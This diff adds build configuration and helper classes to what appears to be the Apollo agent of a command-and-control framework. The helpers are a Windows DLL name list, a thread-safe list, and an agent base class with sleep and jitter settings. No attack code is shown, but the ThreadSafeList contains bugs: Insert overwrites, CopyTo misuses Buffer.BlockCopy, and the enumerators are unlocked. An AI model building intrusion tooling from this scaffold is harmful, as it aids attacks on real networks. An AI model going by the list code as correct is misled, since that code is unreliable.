+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86
+		{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86
+		{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86
+		{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86
+		{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86
+		{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86
+		{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86
+		{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86
+		{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86
+		{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86
+		{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86
+		{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86
+		{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU
+		{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU
+		{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86
+		{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
+		{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.ActiveCfg = Debug|x64
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.Build.0 = Debug|x64
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.ActiveCfg = Debug|x86
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.Build.0 = Debug|x86
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.Build.0 = Release|Any CPU
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.ActiveCfg = Release|x64
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.Build.0 = Release|x64
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.ActiveCfg = Release|x86
+		{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.Build.0 = Release|x86
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.ActiveCfg = Debug|x64
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.Build.0 = Debug|x64
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.ActiveCfg = Debug|x86
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.Build.0 = Debug|x86
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.Build.0 = Release|Any CPU
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.ActiveCfg = Release|x64
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.Build.0 = Release|x64
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.ActiveCfg = Release|x86
+		{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.Build.0 = Release|x86
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76}
+	EndGlobalSection
+EndGlobal
@@ -0,0 +1,26 @@
+<Project Sdk="Microsoft.NET.Sdk">
+  <PropertyGroup>
+    <TargetFramework>net451</TargetFramework>
+    <OutputType>Library</OutputType>
+    <LangVersion>12</LangVersion>
+    <Nullable>enable</Nullable>
+    <GenerateAssemblyInfo>false</GenerateAssemblyInfo>
+    <Platforms>AnyCPU;x64;x86</Platforms>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System.Security" />
+  </ItemGroup>
+  <ItemGroup>
+    <PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
+    <PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
+    <PackageReference Include="System.Memory" Version="4.5.5" />
+    <PackageReference Include="System.ValueTuple" Version="4.5.0" />
+  </ItemGroup>
+  <ItemGroup>
+    <PackageReference Include="PolySharp" Version="1.14.1" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Remove="Serializers\ApolloSerializationBinder.cs" />
+    <Compile Remove="Serializers\EncryptedSMBSerializer.cs" />
+  </ItemGroup>
+</Project>
@@ -0,0 +1,29 @@
+namespace ApolloInterop.Classes.Api
+{
+    public class Library
+    {
+        public string Value { get; private set; }
+        private Library(string libraryName)
+        {
+            Value = libraryName;
+        }
+
+        public override string ToString()
+        {
+            return Value;
+        }
+
+        public static Library NTDLL { get { return new Library("ntdll.dll"); } }
+        public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } }
+        public static Library KERNEL32 { get { return new Library("kernel32.dll"); } }
+        public static Library USER32 { get { return new Library("user32.dll"); } }
+        public static Library USERENV { get { return new Library("userenv.dll"); } }
+        public static Library SHELL32 { get { return new Library("shell32.dll"); } }
+        public static Library SAMCLI { get { return new Library("samcli.dll"); } }
+        public static Library NETUTILS { get { return new Library("netutils.dll"); } }
+        public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } }
+        public static Library SRVCLI { get { return new Library("srvcli.dll"); } }
+        public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } }
+        public static Library SECUR32 { get { return new Library("Secur32.dll"); } }
+    }
+}
@@ -0,0 +1,147 @@
+using System;
+using System.Collections;
+using System.Collections.Generic;
+
+namespace ApolloInterop.Classes.Collections
+{
+    public class ThreadSafeList<T> : IList<T>
+    {
+        List<T> _collection = new List<T>();
+
+        public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); }
+
+
+        private void SetIndexedItem(int index, T val)
+        {
+            lock(_collection)
+            {
+                _collection[index] = val;
+            }
+        }
+
+        private T GetIndexedItem(int index)
+        {
+            T item;
+            lock(_collection)
+            {
+                item = _collection[index];
+            }
+            return item;
+        }
+
+        public int Count()
+        {
+            int count = 0;
+            lock(_collection)
+            {
+                count = _collection.Count;
+            }
+            return count;
+        }
+
+        public bool IsReadOnly => false;
+
+        int ICollection<T>.Count => Count();
+
+        public void Add(T obj)
+        {
+            lock(_collection)
+            {
+                _collection.Add(obj);
+            }
+        }
+
+        public void Clear()
+        {
+            lock(_collection)
+            {
+                _collection.Clear();
+            }
+        }
+
+        public bool Contains(T item)
+        {
+            bool bRet;
+            lock(_collection)
+            {
+                bRet = _collection.Contains(item);
+            }
+            return bRet;
+        }
+
+        public void CopyTo(T[] array, int arrayIndex)
+        {
+            lock(_collection)
+            {
+                Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count);
+            }
+        }
+
+        public IEnumerator<T> GetEnumerator()
+        {
+            IEnumerator<T> res;
+            lock(_collection)
+            {
+                res = _collection.GetEnumerator();
+            }
+            return res;
+        }
+
+        public int IndexOf(T item)
+        {
+            int i = -1;
+            lock(_collection)
+            {
+                i = _collection.IndexOf(item);
+            }
+            return i;
+        }
+
+        public void Insert(int index, T item)
+        {
+            lock(_collection)
+            {
+                _collection[index] = item;
+            }
+        }
+
+        public bool Remove(T obj)
+        {
+            bool bRet = false;
+            lock(_collection)
+            {
+                bRet = _collection.Remove(obj);
+            }
+            return bRet;
+        }
+
+        public void RemoveAt(int index)
+        {
+            lock(_collection)
+            {
+                _collection.RemoveAt(index);
+            }
+        }
+
+        IEnumerator IEnumerable.GetEnumerator()
+        {
+            IEnumerator res;
+            lock(_collection)
+            {
+                res = _collection.GetEnumerator();
+            }
+            return res;
+        }
+
+        public T[] Flush()
+        {
+            T[] result;
+            lock(_collection)
+            {
+                result = _collection.ToArray();
+                _collection.Clear();
+            }
+            return result;
+        }
+    }
+}
@@ -0,0 +1,115 @@
+using System;
+using System.Threading;
+using ApolloInterop.Features.KerberosTickets;
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class Agent : IAgent
+    {
+        private static Mutex _outputLock = new Mutex();
+        public int SleepInterval { get; protected set; } = 0;
+        public double Jitter { get; protected set; } = 0;
+        protected AutoResetEvent _sleepReset = new AutoResetEvent(false);
